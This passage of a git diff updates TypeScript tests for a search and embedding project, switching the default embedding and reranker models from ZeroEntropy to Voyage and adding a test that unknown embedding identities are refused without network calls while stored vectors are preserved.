+ const r: ResolvedColumn = { name: 'embedding_fixture', type: 'halfvec', dimensions: 2560, embeddingModel: 'fixture-provider:embedding-v1' };
const { col, castSql } = buildVectorCastFragment(r);
- expect(col).toBe('"embedding_ze"');
+ expect(col).toBe('"embedding_fixture"');
expect(castSql).toBe('$1::halfvec(2560)');
});
@@ -321,10 +321,10 @@ describe('normalizeEngineColumn — engine-side legacy converter', () => {
test('ResolvedColumn descriptor passes through', () => {
const descriptor: ResolvedColumn = {
- name: 'embedding_ze',
+ name: 'embedding_fixture',
type: 'halfvec',
dimensions: 2560,
- embeddingModel: 'zeroentropyai:zembed-1',
+ embeddingModel: 'fixture-provider:embedding-v1',
};
expect(normalizeEngineColumn(descriptor)).toEqual(descriptor);
});
@@ -442,10 +442,10 @@ describe('codex /ship #2 — descriptor passthrough validates', () => {
test('valid descriptor passes through unchanged', () => {
const good: ResolvedColumn = {
- name: 'embedding_ze',
+ name: 'embedding_fixture',
type: 'halfvec',
dimensions: 2560,
- embeddingModel: 'zeroentropyai:zembed-1',
+ embeddingModel: 'fixture-provider:embedding-v1',
};
expect(resolveEmbeddingColumn({ embeddingColumn: good }, cfg())).toEqual(good);
});
diff --git a/test/search/explain-formatter.test.ts b/test/search/explain-formatter.test.ts
index 13ae89194a..9399051c07 100644
--- a/test/search/explain-formatter.test.ts
+++ b/test/search/explain-formatter.test.ts
@@ -273,8 +273,8 @@ describe('formatDegradedSummary — v0.48.2 skipped-stage line', () => {
'degraded: reranker_skipped (no_key)',
);
expect(
- formatDegradedSummary([{ stage: 'keyword_zero' }, { stage: 'reranker_skipped', reason: 'sunset_short_circuit' }]),
- ).toBe('degraded: keyword_zero, reranker_skipped (sunset_short_circuit)');
+ formatDegradedSummary([{ stage: 'keyword_zero' }, { stage: 'reranker_skipped', reason: 'no_key' }]),
+ ).toBe('degraded: keyword_zero, reranker_skipped (no_key)');
});
test('formatResultsExplain prepends the degraded line', () => {
diff --git a/test/search/knobs-hash-reranker.test.ts b/test/search/knobs-hash-reranker.test.ts
index 9e8d5e59a9..2b3d6f53c9 100644
--- a/test/search/knobs-hash-reranker.test.ts
+++ b/test/search/knobs-hash-reranker.test.ts
@@ -28,14 +28,14 @@ import {
type ResolvedSearchKnobs,
} from '../../src/core/search/mode.ts';
import { resolveHardExcludes } from '../../src/core/search/source-boost.ts';
-import { DEFAULT_RERANKER_MODEL, LEGACY_DEFAULT_RERANKER_MODEL } from '../../src/core/ai/defaults.ts';
+import { DEFAULT_RERANKER_MODEL } from '../../src/core/ai/defaults.ts';
/** Build a baseline resolved knob set with all reranker fields filled. */
function baseKnobs(): ResolvedSearchKnobs {
return {
...MODE_BUNDLES.balanced,
reranker_enabled: false,
- reranker_model: 'zeroentropyai:zerank-2',
+ reranker_model: 'voyage:rerank-2.5',
reranker_top_n_in: 30,
reranker_top_n_out: null,
reranker_timeout_ms: 5000,
@@ -119,10 +119,10 @@ describe('Each reranker field flips the hash (cache-row separation)', () => {
});
test('reranker_model differs → different hash', () => {
- const z2 = knobsHash({ ...baseKnobs(), reranker_model: 'zeroentropyai:zerank-2' });
- const z1 = knobsHash({ ...baseKnobs(), reranker_model: 'zeroentropyai:zerank-1' });
- const z1s = knobsHash({ ...baseKnobs(), reranker_model: 'zeroentropyai:zerank-1-small' });
- expect(new Set([z2, z1, z1s]).size).toBe(3);
+ const full = knobsHash({ ...baseKnobs(), reranker_model: 'voyage:rerank-2.5' });
+ const lite = knobsHash({ ...baseKnobs(), reranker_model: 'voyage:rerank-2.5-lite' });
+ const preview = knobsHash({ ...baseKnobs(), reranker_model: 'voyage:rerank-3' });
+ expect(new Set([full, lite, preview]).size).toBe(3);
});
test('reranker_top_n_in differs → different hash', () => {
@@ -282,12 +282,12 @@ describe('v=12 hard-exclude participation (#2825)', () => {
});
describe('v0.48.2 reranker default flip re-keys the cache (rrm= is folded unconditionally)', () => {
- test('per mode: hash(DEFAULT voyage) !== hash(LEGACY zerank) even with the reranker OFF', () => {
+ test('per mode: hash(DEFAULT voyage) !== hash(synthetic model) even with the reranker OFF', () => {
expect(DEFAULT_RERANKER_MODEL).toBe('voyage:rerank-2.5');
for (const mode of ['conservative', 'balanced', 'tokenmax'] as const) {
const base = { ...baseKnobs(), reranker_enabled: MODE_BUNDLES[mode].reranker_enabled };
const withDefault = knobsHash({ ...base, reranker_model: DEFAULT_RERANKER_MODEL });
- const withLegacy = knobsHash({ ...base, reranker_model: LEGACY_DEFAULT_RERANKER_MODEL });
+ const withLegacy = knobsHash({ ...base, reranker_model: 'fixture-provider:reranker-v1' });
expect(withDefault).not.toBe(withLegacy);
}
});
diff --git a/test/search/rerank.test.ts b/test/search/rerank.test.ts
index 8c9d874b11..da21b0a285 100644
--- a/test/search/rerank.test.ts
+++ b/test/search/rerank.test.ts
@@ -12,14 +12,6 @@
*/
import { describe, test, expect, beforeAll, afterAll, beforeEach, afterEach } from 'bun:test';
-import { __setSunsetClockForTests } from '../../src/core/ai/gateway.ts';
-
-// Pin a pre-sunset clock: the auth-audit test below reaches the REAL
-// gateway.rerank with zerank-2; past ZEROENTROPY_SUNSET_DATE the short-circuit
-// would fire before the missing-key check and flip the audited reason from
-// 'auth' to 'sunset_short_circuit' — a deterministic wall-clock time bomb.
-beforeEach(() => __setSunsetClockForTests(() => new Date('2026-09-01T00:00:00Z')));
-afterEach(() => __setSunsetClockForTests(null));
import * as fs from 'node:fs';
import * as os from 'node:os';
import * as path from 'node:path';
@@ -48,16 +40,16 @@ function makeResult(slug: string, score: number, chunk: string): SearchResult {
// Setup: gateway must be configured so the rerank-audit logger doesn't
// trip on missing env. We can call configureGateway with a minimal stub.
// NOTE: this stub omits embedding_model, so the gateway falls back to the
-// v0.37 default (zeroentropyai:zembed-1 / 1280-d). Without the afterAll
+// v0.37 default (voyage:voyage-4 / 1024-d). Without the afterAll
// reset below it would LEAK that default to the next file in the shard
// process — a sibling that runs initSchema in beforeAll would build a
-// vector(1280) column and then mismatch on 1536-d fixtures. resetGateway
+// vector(1024) column and then mismatch on 1536-d fixtures. resetGateway
// in afterAll restores the empty slot so the legacy-embedding preload
// re-pins OpenAI/1536 for the next file.
beforeAll(async () => {
const { configureGateway } = await import('../../src/core/ai/gateway.ts');
configureGateway({
- env: { ZEROENTROPY_API_KEY: 'test-key' },
+ env: { VOYAGE_API_KEY: 'test-key' },
});
});
@@ -175,15 +167,14 @@ describe('applyReranker — fail-open on every RerankError reason', () => {
});
test('missing gateway reranker API key fail-opens and audits ONE no_key row (v0.48.2)', async () => {
- const { configureGateway, _resetSunsetWarningsForTest } = await import('../../src/core/ai/gateway.ts');
+ const { configureGateway } = await import('../../src/core/ai/gateway.ts');
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gbrain-rerank-search-'));
try {
await withEnv({ GBRAIN_AUDIT_DIR: tmpDir }, async () => {
// The no_key row is once-per-process-per-model — clear the memo so
// this test observes the write regardless of file order.
- _resetSunsetWarningsForTest();
configureGateway({
- reranker_model: 'zeroentropyai:zerank-2',
+ reranker_model: 'voyage:rerank-2.5',
env: {},
});
@@ -192,18 +183,18 @@ describe('applyReranker — fail-open on every RerankError reason', () => {
enabled: true,
topNIn: 1,
topNOut: null,
- model: 'zeroentropyai:zerank-2',
+ model: 'voyage:rerank-2.5',
});
expect(out).toEqual(results);
const failures = readRecentRerankFailures(1);
expect(failures).toHaveLength(1);
expect(failures[0]!.reason).toBe('no_key');
- expect(failures[0]!.error_summary).toContain('ZEROENTROPY_API_KEY');
+ expect(failures[0]!.error_summary).toContain('VOYAGE_API_KEY');
});
} finally {
fs.rmSync(tmpDir, { recursive: true, force: true });
- configureGateway({ env: { ZEROENTROPY_API_KEY: 'test-key' } });
+ configureGateway({ env: { VOYAGE_API_KEY: 'test-key' } });
}
});
diff --git a/test/search/searchvector-maxpool.test.ts b/test/search/searchvector-maxpool.test.ts
index 79132a51cc..dc646aa7ef 100644
--- a/test/search/searchvector-maxpool.test.ts
+++ b/test/search/searchvector-maxpool.test.ts
@@ -51,7 +51,7 @@ beforeAll(async () => {
// hardcoded 1536-d basis vectors. initSchema runs in beforeAll (before
// any preload beforeEach can re-pin), so we cannot rely on the legacy
// preload default surviving a sibling shard file that reconfigured the
- // gateway to the v0.37 ZE/1280 default and didn't reset.
+ // gateway to the v0.37 Voyage/1024 default and didn't reset.
configureGateway({
embedding_model: 'openai:text-embedding-3-large',
embedding_dimensions: DIM,
diff --git a/test/select-e2e.test.ts b/test/select-e2e.test.ts
index 97aa990646..651f4f5eae 100644
--- a/test/select-e2e.test.ts
+++ b/test/select-e2e.test.ts
@@ -128,6 +128,7 @@ describe("selectTests", () => {
"test/e2e/search-query-contract-postgres.test.ts",
"test/e2e/search-readiness-http.test.ts",
"test/e2e/search-swamp.test.ts",
+ "test/e2e/unsupported-embedding-identity-postgres.test.ts",
"test/e2e/vector-candidate-safety-postgres.test.ts",
]);
});
@@ -217,6 +218,7 @@ describe("selectTests", () => {
"test/e2e/search-query-contract-postgres.test.ts",
"test/e2e/search-readiness-http.test.ts",
"test/e2e/search-swamp.test.ts",
+ "test/e2e/unsupported-embedding-identity-postgres.test.ts",
"test/e2e/vector-candidate-safety-postgres.test.ts",
]);
});
diff --git a/test/shared-skills-writer-boundary.serial.test.ts b/test/shared-skills-writer-boundary.serial.test.ts
index 7dca213b99..bd1b305625 100644
--- a/test/shared-skills-writer-boundary.serial.test.ts
+++ b/test/shared-skills-writer-boundary.serial.test.ts
@@ -262,6 +262,7 @@ test('managed sync imports and deletions cannot disguise canonical files as know
const slug = `notes/disguised-${kind}-${index}`;
const content = readFileSync(join(f.root, path), 'utf8');
const intent: SyncIntent = { kind, expected_revision: null, sourcePath: path, path, rawHash: sha256(content), content,
+ processingOptions: { noEmbed: true, noExtract: true, noSchemaPack: true },
ownerEpoch: String(binding.owner_epoch), syncAuthority, cursorKey: 'fixture', runId: randomUUID(), index: 0,
from: null, target: 'fixture', total: 1, slugMode: 'source-root' };
const row = await admitWrite(f.engine, { principal: syncAuthority.writer.principal, authority: syncAuthority.writer,
diff --git a/test/snapshot-shape-guard.test.ts b/test/snapshot-shape-guard.test.ts
index 57d9be1bc3..89c0e037b7 100644
--- a/test/snapshot-shape-guard.test.ts
+++ b/test/snapshot-shape-guard.test.ts
@@ -2,7 +2,7 @@
* W0 ship-review coverage (GAP-2) — the snapshot loader's shape + hash guards.
*
* The fixture is default-on for every `bun run test`, so a wrong snapshot
- * poisons the whole suite (the 1280-vs-1536 incident: 115 failures from one
+ * poisons the whole suite (the 1024-vs-1536 incident: 115 failures from one
* root cause). These tests pin the three refusal paths and the
* handler-aware hash (D5.13).
*/
@@ -84,7 +84,7 @@ test('memo: shape refusal is per-call, never cached as terminal — and costs ze
// Hash matches but dims mismatch: the version entry is memoized yet every
// call re-runs the shape gate against the CURRENT gateway config — an
// engine with a matching config later in the same process could still
- // load this snapshot (the zembed/1280 poisoning guard staying hot behind
+ // load this snapshot (the voyage-4/1024 poisoning guard staying hot behind
// the memo). The 42MB tar read is deferred until a shape-MATCHING caller,
// so a process that only ever refuses never reads it at all.
const tar = writeFixture(`${currentHash()}\ndims=99999\nmodel=${getEmbeddingModel()}\n`);
diff --git a/test/sync-cost-preview.test.ts b/test/sync-cost-preview.test.ts
index b64e4060d9..3b3cdc26a6 100644
--- a/test/sync-cost-preview.test.ts
+++ b/test/sync-cost-preview.test.ts
@@ -62,22 +62,22 @@ describe('Layer 8 D1 — embedding cost model', () => {
test('cost preview uses the CONFIGURED model rate, not a hardcoded OpenAI rate', () => {
// Regression: the cost gate previously hardcoded $0.00013/1k (OpenAI
// text-embedding-3-large) regardless of the configured embedding model,
- // so a brain on a cheaper model (e.g. zeroentropyai:zembed-1 @ $0.05/Mtok)
- // saw a preview that named the wrong provider and over-stated spend ~2.6x.
+ // so a brain on a cheaper model (e.g. voyage:voyage-4 @ $0.06/Mtok)
+ // saw a preview that named the wrong provider and over-stated spend ~2.2x.
// The pricing table is the single source of truth per provider:model.
const TOKENS = 2_590_710_262; // a real large-brain sync preview
const openai = lookupEmbeddingPrice('openai:text-embedding-3-large');
- const zeroentropy = lookupEmbeddingPrice('zeroentropyai:zembed-1');
+ const voyage = lookupEmbeddingPrice('voyage:voyage-4');
expect(openai.kind).toBe('known');
- expect(zeroentropy.kind).toBe('known');
- if (openai.kind === 'known' && zeroentropy.kind === 'known') {
+ expect(voyage.kind).toBe('known');
+ if (openai.kind === 'known' && voyage.kind === 'known') {
const openaiCost = (TOKENS / 1_000_000) * openai.pricePerMTok;
- const zeCost = (TOKENS / 1_000_000) * zeroentropy.pricePerMTok;
+ const voyageCost = (TOKENS / 1_000_000) * voyage.pricePerMTok;
// The two models must produce materially different previews; a fix that
// collapses both to the OpenAI number would regress this assertion.
expect(openaiCost).toBeCloseTo(336.79, 1);
- expect(zeCost).toBeCloseTo(129.54, 1);
- expect(zeCost).toBeLessThan(openaiCost);
+ expect(voyageCost).toBeCloseTo(155.44, 1);
+ expect(voyageCost).toBeLessThan(openaiCost);
}
});
diff --git a/test/sync-failures.test.ts b/test/sync-failures.test.ts
index ef7cfa8260..24368537f9 100644
--- a/test/sync-failures.test.ts
+++ b/test/sync-failures.test.ts
@@ -544,9 +544,9 @@ describe('v0.41.6.0 D2 — embedding error classification', () => {
expect(classifyErrorCode('Voyage AI embedding requires VOYAGE_API_KEY.')).toBe('EMBEDDING_NO_CREDS');
});
- test('EMBEDDING_NO_CREDS matches ZeroEntropy openai-compat shape', async () => {
+ test('EMBEDDING_NO_CREDS matches Voyage openai-compat shape', async () => {
const { classifyErrorCode } = await import('../src/core/sync.ts');
- expect(classifyErrorCode('ZeroEntropy embedding requires ZEROENTROPY_API_KEY.')).toBe('EMBEDDING_NO_CREDS');
+ expect(classifyErrorCode('Voyage embedding requires VOYAGE_API_KEY.')).toBe('EMBEDDING_NO_CREDS');
});
test('EMBEDDING_NO_CREDS matches DeepSeek openai-compat shape', async () => {
diff --git a/test/unsupported-embedding-identity.serial.test.ts b/test/unsupported-embedding-identity.serial.test.ts
new file mode 100644
index 0000000000..a3d0286444
--- /dev/null
+++ b/test/unsupported-embedding-identity.serial.test.ts
@@ -0,0 +1,232 @@
+import { afterEach, describe, expect, test } from 'bun:test';
+import { mkdtempSync, mkdirSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { spawnSync } from 'node:child_process';
+import { PGLiteEngine } from '../src/core/pglite-engine.ts';
+import {
+ configureGateway,
+ resetGateway,
+ getEmbeddingModel,
+ getEmbeddingDimensions,
+ embedQuery,
+ rerank,
+ __setEmbedTransportForTests,
+ __setRerankTransportForTests,
+} from '../src/core/ai/gateway.ts';
+import { buildGatewayConfig } from '../src/core/ai/build-gateway-config.ts';
+import { rerankerReadiness } from '../src/core/ai/reranker-readiness.ts';
+import { resolveEmbeddingColumn } from '../src/core/search/embedding-column.ts';
+import { hybridSearch } from '../src/core/search/hybrid.ts';
+import { readMigrationStatus, planEmbeddingMigration } from '../src/core/embedding-migration.ts';
+import { installFixtureChunks } from './helpers/page-projection.ts';
+import { withEnv } from './helpers/with-env.ts';
+import { isolatedPersistencePostgres } from './helpers/persistence-postgres.ts';
+
+const STORED_MODEL = 'fixture-unsupported:embedding-v1';
+const DIMS = 1024;
+
+afterEach(() => {
+ __setEmbedTransportForTests(null);
+ __setRerankTransportForTests(null);
+ resetGateway();
+});
+
+describe('unsupported and unrecorded embedding identities', () => {
+ test('a fresh gateway and schema use a supported 1024-dimensional default', async () => {
+ configureGateway({ env: {} });
+ expect(getEmbeddingModel()).toBe('voyage:voyage-4');
+ expect(getEmbeddingDimensions()).toBe(DIMS);
+ const engine = new PGLiteEngine();
+ try {
+ await engine.connect({});
+ await engine.initSchema();
+ expect(await engine.getConfig('embedding_model')).toBe('voyage:voyage-4');
+ expect(await engine.getConfig('embedding_dimensions')).toBe(String(DIMS));
+ } finally {
+ await engine.disconnect();
+ }
+ });
+
+ test('unknown embedding and reranker providers refuse before any provider transport', async () => {
+ configureGateway({
+ embedding_model: STORED_MODEL,
+ embedding_dimensions: DIMS,
+ reranker_model: 'fixture-unsupported:reranker-v1',
+ env: { VOYAGE_API_KEY: 'fixture-voyage-key', OPENAI_API_KEY: 'fixture-openai-key' },
+ });
+ let calls = 0;
+ __setEmbedTransportForTests(async () => {
+ calls++;
+ throw new Error('unexpected embedding transport');
+ });
+ __setRerankTransportForTests(async () => {
+ calls++;
+ throw new Error('unexpected reranker transport');
+ });
+ await expect(embedQuery('fixture query')).rejects.toThrow(/unknown provider/i);
+ await expect(rerank({ query: 'fixture query', documents: ['fixture document'] })).rejects.toThrow(/unknown provider/i);
+ expect(calls).toBe(0);
+ });
+
+ test('mixed-case and slash-form supported reranker ids retain parsing parity', () => {
+ for (const model of ['VoYaGe:rerank-2.5', 'voyage/rerank-2.5', ' voyage:rerank-2.5 ']) {
+ const readiness = rerankerReadiness(model, { VOYAGE_API_KEY: 'fixture-key' });
+ expect(readiness.provider).toBe('voyage');
+ expect(readiness.modelId).toBe('rerank-2.5');
+ expect(readiness.ready).toBe(true);
+ }
+ expect(rerankerReadiness('voyage-fixture:rerank-2.5', { VOYAGE_API_KEY: 'fixture-key' }).ready).toBe(false);
+ });
+
+ test.each([false, true])('configless same-width brain preserves vectors and read access (missing stored model: %s)', async (missingStoredModel) => {
+ const home = mkdtempSync(join(tmpdir(), 'gbrain-unverified-identity-'));
+ const databasePath = join(home, 'brain');
+ mkdirSync(join(home, '.gbrain'));
+ const config = { engine: 'pglite' as const, database_path: databasePath };
+ writeFileSync(join(home, '.gbrain', 'config.json'), JSON.stringify(config));
+ let engine: PGLiteEngine | undefined;
+ try {
+ await withEnv({ GBRAIN_HOME: home, GBRAIN_PGLITE_SNAPSHOT: undefined }, async () => {
+ configureGateway({ embedding_model: STORED_MODEL, embedding_dimensions: DIMS, env: {} });
+ engine = new PGLiteEngine();
+ await engine.connect({ database_path: databasePath });
+ await engine.initSchema();
+ await engine.putPage('fixture-memory', {
+ type: 'note', title: 'Fixture memory', compiled_truth: 'Cobalt keeps a durable fixture memory.',
+ });
+ await installFixtureChunks(engine, 'fixture-memory', [{
+ chunk_index: 0, chunk_text: 'Cobalt keeps a durable fixture memory.', chunk_source: 'compiled_truth',
+ model: STORED_MODEL,
+ }]);
+ const vector = JSON.stringify(Array.from({ length: DIMS }, (_, i) => i === 0 ? 1 : 0));
+ await engine.executeRaw('UPDATE content_chunks SET embedding = $1::vector, model = $2', [vector, STORED_MODEL]);
+ await engine.executeRaw('UPDATE pages SET embedding_signature = $1', [`${STORED_MODEL}:${DIMS}`]);
+ if (missingStoredModel) await engine.unsetConfig('embedding_model');
+ const snapshot = await engine.executeRaw('SELECT model, embedding::text AS embedding FROM content_chunks');
+ await engine.disconnect();
+
+ configureGateway({ ...buildGatewayConfig(config), env: { VOYAGE_API_KEY: 'fixture-key' } });
+ let providerCalls = 0;
+ __setEmbedTransportForTests(async () => {
+ providerCalls++;
+ return { embeddings: [new Array(DIMS).fill(0.1)] } as any;
+ });
+ __setRerankTransportForTests(async () => {
+ providerCalls++;
+ return new Response(JSON.stringify({ data: [] }));
+ });
+ engine = new PGLiteEngine();
+ await engine.connect({ database_path: databasePath });
+ if (missingStoredModel) {
+ await expect(engine.initSchema()).rejects.toThrow(/stored embedding model is unknown/i);
+ expect(await engine.executeRaw('SELECT model, embedding::text AS embedding FROM content_chunks')).toEqual(snapshot);
+ expect(await engine.getConfig('embedding_model')).toBeNull();
+ } else {
+ await engine.initSchema();
+ }
+ expect(() => getEmbeddingModel()).toThrow(/no explicit embedding model/i);
+ expect(resolveEmbeddingColumn(undefined, config).embeddingModel).not.toBe('voyage:voyage-4');
+ const results = await hybridSearch(engine, 'Cobalt', { limit: 5 });
+ expect(results.map(r => r.slug)).toContain('fixture-memory');
+ expect((await engine.getPage('fixture-memory'))?.compiled_truth).toContain('Cobalt');
+ const status = await readMigrationStatus(engine);
+ expect(status.db_plane.model).toBe(missingStoredModel ? null : STORED_MODEL);
+ expect(status.column_dims).toBe(DIMS);
+ const plan = await planEmbeddingMigration(engine, { to: 'voyage:voyage-4', dim: DIMS });
+ expect(plan.from_model).toBe(missingStoredModel ? 'unrecorded' : STORED_MODEL);
+ expect(plan.from_dims).toBe(DIMS);
+ expect(providerCalls).toBe(0);
+ expect(await engine.executeRaw('SELECT model, embedding::text AS embedding FROM content_chunks')).toEqual(snapshot);
+ expect(await engine.executeRaw('SELECT embedding_signature FROM pages WHERE slug = $1', ['fixture-memory']))
+ .toEqual([{ embedding_signature: `${STORED_MODEL}:${DIMS}` }]);
+ expect(await engine.getConfig('embedding_model')).toBe(missingStoredModel ? null : STORED_MODEL);
+ await engine.disconnect();
+ engine = undefined;
+ const networkGuard = join(home, 'network-guard.ts');
+ writeFileSync(networkGuard, "globalThis.fetch = (() => { process.stderr.write('UNEXPECTED_PROVIDER_CALL\\n'); throw new Error('network disabled in fixture'); }) as typeof fetch;\n");
+ for (const args of [['migrate', 'embeddings', '--status', '--json'], ['get', 'fixture-memory', '--json']]) {
+ const child = spawnSync(process.execPath, ['--preload', networkGuard, join(import.meta.dir, '../src/cli.ts'), ...args], {
+ env: { PATH: process.env.PATH, HOME: home, GBRAIN_HOME: home, GBRAIN_NO_AUTO_SYNC: '1' },
+ encoding: 'utf8', timeout: 30_000,
+ });
+ expect(child.error).toBeUndefined();
+ expect(child.status, child.stderr).toBe(0);
+ expect(child.stderr).not.toContain('UNEXPECTED_PROVIDER_CALL');
+ expect(child.stdout).toContain(args[0] === 'get' ? 'Cobalt' : 'column_dims');
+ }
+ });
+ } finally {
+ await engine?.disconnect();
+ rmSync(home, { recursive: true, force: true });
+ }
+ }, 60000);
+});
+
+describe.skipIf(!process.env.DATABASE_URL)('PostgreSQL stored embedding identity', () => {
+ test.each([false, true])('same-width reconnect preserves vectors and read access (missing stored model: %s)', async (missingStoredModel) => {
+ const home = mkdtempSync(join(tmpdir(), 'gbrain-postgres-identity-'));
+ configureGateway({ embedding_model: STORED_MODEL, embedding_dimensions: DIMS, env: {} });
+ const fixture = await isolatedPersistencePostgres(process.env.DATABASE_URL!);
+ const engine = fixture.engine;
+ try {
+ const rows = await engine.executeRaw<{ name: string }>('SELECT current_database() AS name');
+ const url = new URL(process.env.DATABASE_URL!);
+ url.pathname = `/${rows[0].name}`;
+ const config = { engine: 'postgres' as const, database_url: url.toString() };
+ mkdirSync(join(home, '.gbrain'));
+ writeFileSync(join(home, '.gbrain', 'config.json'), JSON.stringify(config));
+ await withEnv({ GBRAIN_HOME: home }, async () => {
+ await engine.putPage('fixture-memory', {
+ type: 'note', title: 'Fixture memory', compiled_truth: 'Cobalt keeps a durable fixture memory.',
+ });
+ await installFixtureChunks(engine, 'fixture-memory', [{
+ chunk_index: 0, chunk_text: 'Cobalt keeps a durable fixture memory.', chunk_source: 'compiled_truth',
+ model: STORED_MODEL,
+ }]);
+ const vector = JSON.stringify(Array.from({ length: DIMS }, (_, i) => i === 0 ? 1 : 0));
+ await engine.executeRaw('UPDATE content_chunks SET embedding = $1::vector, model = $2', [vector, STORED_MODEL]);
+ await engine.executeRaw('UPDATE pages SET embedding_signature = $1', [`${STORED_MODEL}:${DIMS}`]);
+ if (missingStoredModel) await engine.unsetConfig('embedding_model');
+ const snapshot = await engine.executeRaw('SELECT model, embedding::text AS embedding FROM content_chunks');
+ await engine.disconnect();
+ configureGateway({ ...buildGatewayConfig(config), env: { VOYAGE_API_KEY: 'fixture-key' } });
+ let providerCalls = 0;
+ __setEmbedTransportForTests(async () => {
+ providerCalls++;
+ return { embeddings: [new Array(DIMS).fill(0.1)] } as any;
+ });
+ __setRerankTransportForTests(async () => {
+ providerCalls++;
+ return new Response(JSON.stringify({ data: [] }));
+ });
+ await engine.connect({ database_url: url.toString(), poolSize: 4 });
+ if (missingStoredModel) {
+ await expect(engine.initSchema()).rejects.toThrow(/stored embedding model is unknown/i);
+ expect(await engine.executeRaw('SELECT model, embedding::text AS embedding FROM content_chunks')).toEqual(snapshot);
+ expect(await engine.getConfig('embedding_model')).toBeNull();
+ } else {
+ await engine.initSchema();
+ }
+ expect(() => getEmbeddingModel()).toThrow(/no explicit embedding model/i);
+ expect(resolveEmbeddingColumn(undefined, config).embeddingModel).not.toBe('voyage:voyage-4');
+ expect((await hybridSearch(engine, 'Cobalt', { limit: 5 })).map(r => r.slug)).toContain('fixture-memory');
+ expect((await engine.getPage('fixture-memory'))?.compiled_truth).toContain('Cobalt');
+ const status = await readMigrationStatus(engine);
+ expect(status.db_plane.model).toBe(missingStoredModel ? null : STORED_MODEL);
+ expect(status.column_dims).toBe(DIMS);
+ const plan = await planEmbeddingMigration(engine, { to: 'voyage:voyage-4', dim: DIMS });
+ expect(plan.from_model).toBe(missingStoredModel ? 'unrecorded' : STORED_MODEL);
+ expect(plan.from_dims).toBe(DIMS);
+ expect(providerCalls).toBe(0);
+ expect(await engine.executeRaw('SELECT model, embedding::text AS embedding FROM content_chunks')).toEqual(snapshot);
+ expect(await engine.executeRaw('SELECT embedding_signature FROM pages WHERE slug = $1', ['fixture-memory']))
+ .toEqual([{ embedding_signature: `${STORED_MODEL}:${DIMS}` }]);
+ expect(await engine.getConfig('embedding_model')).toBe(missingStoredModel ? null : STORED_MODEL);
+ });
+ } finally {
+ await fixture.close();
+ rmSync(home, { recursive: true, force: true });
+ }
+ }, 60000);
+});
diff --git a/test/v0_37_fix_wave.serial.test.ts b/test/v0_37_fix_wave.serial.test.ts
index 8012548564..6ab5fc414e 100644
--- a/test/v0_37_fix_wave.serial.test.ts
+++ b/test/v0_37_fix_wave.serial.test.ts
@@ -19,28 +19,28 @@ describe('v0.37 Lane A — defaults sweep', () => {
// CDX2-1: these were file-private const; Lane A consumers (schema
// helpers, registry) need them exported. Importing here is the test.
const { DEFAULT_EMBEDDING_MODEL, DEFAULT_EMBEDDING_DIMENSIONS } = await import('../src/core/ai/gateway.ts');
- expect(DEFAULT_EMBEDDING_MODEL).toBe('zeroentropyai:zembed-1');
- expect(DEFAULT_EMBEDDING_DIMENSIONS).toBe(1280);
+ expect(DEFAULT_EMBEDDING_MODEL).toBe('voyage:voyage-4');
+ expect(DEFAULT_EMBEDDING_DIMENSIONS).toBe(1024);
});
test('A.0: ai/defaults.ts is the canonical source (leaf module, no SDK pulls)', async () => {
const defaults = await import('../src/core/ai/defaults.ts');
- expect(defaults.DEFAULT_EMBEDDING_MODEL).toBe('zeroentropyai:zembed-1');
- expect(defaults.DEFAULT_EMBEDDING_DIMENSIONS).toBe(1280);
+ expect(defaults.DEFAULT_EMBEDDING_MODEL).toBe('voyage:voyage-4');
+ expect(defaults.DEFAULT_EMBEDDING_DIMENSIONS).toBe(1024);
});
// T-11 / T-12: registry + schema defaults track gateway constants.
- test('A.1: getPGLiteSchema() default-args produce a vector(1280) column', async () => {
+ test('A.1: getPGLiteSchema() default-args produce a vector(1024) column', async () => {
const { getPGLiteSchema } = await import('../src/core/pglite-schema.ts');
const sql = getPGLiteSchema(); // no args — uses defaults
- expect(sql).toContain('vector(1280)');
+ expect(sql).toContain('vector(1024)');
expect(sql).not.toContain('vector(1536)');
});
- test('A.2: getPostgresSchema() default-args produce a vector(1280) column', async () => {
+ test('A.2: getPostgresSchema() default-args produce a vector(1024) column', async () => {
const { getPostgresSchema } = await import('../src/core/postgres-engine.ts');
const sql = getPostgresSchema();
- expect(sql).toContain('vector(1280)');
+ expect(sql).toContain('vector(1024)');
expect(sql).not.toContain('vector(1536)');
});
@@ -48,14 +48,14 @@ describe('v0.37 Lane A — defaults sweep', () => {
const { getPostgresSchema } = await import('../src/core/postgres-engine.ts');
const sql = getPostgresSchema(2048, 'voyage:voyage-4-large');
expect(sql).toContain('vector(2048)');
- expect(sql).not.toContain('vector(1280)');
+ expect(sql).not.toMatch(/\n\s*embedding vector\(1024\)/);
expect(sql).toContain('voyage:voyage-4-large');
});
- test('A.5: embedding-column registry builtin defaults to ZE/1280 on empty config + gateway', async () => {
+ test('A.5: embedding-column registry builtin defaults to Voyage/1024 on empty config + gateway', async () => {
// The registry's resolution chain is cfg > gateway > DEFAULT. With
// no cfg AND no gateway, it should fall through to the canonical
- // default (ZE/1280). Hard-unconfigure first to exercise that path —
+ // default (Voyage/1024). Hard-unconfigure first to exercise that path —
// resetGateway() would restore the preload's 1536 baseline (#3554).
const { __unconfigureGatewayForTests, resetGateway } = await import('../src/core/ai/gateway.ts');
const { getEmbeddingColumnRegistry } = await import('../src/core/search/embedding-column.ts');
@@ -63,8 +63,8 @@ describe('v0.37 Lane A — defaults sweep', () => {
try {
const reg = getEmbeddingColumnRegistry({ engine: 'pglite' } as any);
expect(reg['embedding']).toBeDefined();
- expect(reg['embedding'].provider).toBe('zeroentropyai:zembed-1');
- expect(reg['embedding'].dimensions).toBe(1280);
+ expect(reg['embedding'].provider).toBe('voyage:voyage-4');
+ expect(reg['embedding'].dimensions).toBe(1024);
} finally {
// Restore the preload's legacy baseline so the rest of the file's
// tests (and subsequent files in this shard) see a configured gateway.
@@ -99,7 +99,7 @@ describe('v0.37 Lane A — defaults sweep', () => {
expect(isCacheSafe(resolved1536 as any, { engine: 'pglite' } as any)).toBe(true);
// Wrong dim → unsafe.
- const wrongDim = { ...resolved1536, dimensions: 1280 };
+ const wrongDim = { ...resolved1536, dimensions: 1024 };
expect(isCacheSafe(wrongDim as any, { engine: 'pglite' } as any)).toBe(false);
// Wrong model → unsafe.
@@ -195,16 +195,16 @@ describe('v0.37 Lane B — init paths', () => {
});
});
-// Lane C.3 — ZE key plumbing
-describe('v0.37 Lane C.3 — ZE key reaches buildGatewayConfig', () => {
